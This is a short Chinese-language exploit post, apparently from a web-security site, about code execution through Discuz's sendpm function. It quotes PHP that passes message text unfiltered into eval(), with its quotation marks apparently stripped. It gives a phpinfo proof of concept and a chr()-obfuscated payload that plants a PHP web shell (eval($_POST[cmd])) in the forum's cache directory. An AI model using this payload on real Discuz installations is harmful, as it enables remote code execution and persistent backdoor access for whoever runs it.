by:alibaba
global.func.php function sendpm($toid, $subject, $message, $fromid = ) { 02 if($fromid === ) { 03 require_once DISCUZ_ROOTuc_client/client.php; 04 $fromid = $discuz_uid; 05 } 06 if($fromid) { 07 uc_pm_send($fromid, $toid, $subject, $message); 08 } else { 09 global $promptkeys; 10 if(in_array($subject, $promptkeys)) { 11 $type = $subject; 12 } else { 13 extract($GLOBALS, EXTR_SKIP); 14 require_once DISCUZ_ROOTinclude/discuzcode.func.php; 15 eval("$message = addslashes("".$message."");"); //无过滤，可插入代码 16 $type = systempm; 17 $message = <div>.$subject. {time}.discuzcode($message, 1, 0).</div>; 18 } 19 sendnotice($toid, $message, $type); 20 } 21 }
POC： 1. admincp.php?frames=yes&action=members&operation=newsletter 2. 发短消息，通知内容为：{${phpinfo()}} EXP - (fputs(fopen(forumdata/cache/cache_01.php,w),<?php eval($_POST[cmd])?>);) : ${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}
查看更多关于Discuz非创始人管理员代码执行 - 网站安全 - 自学的详细内容...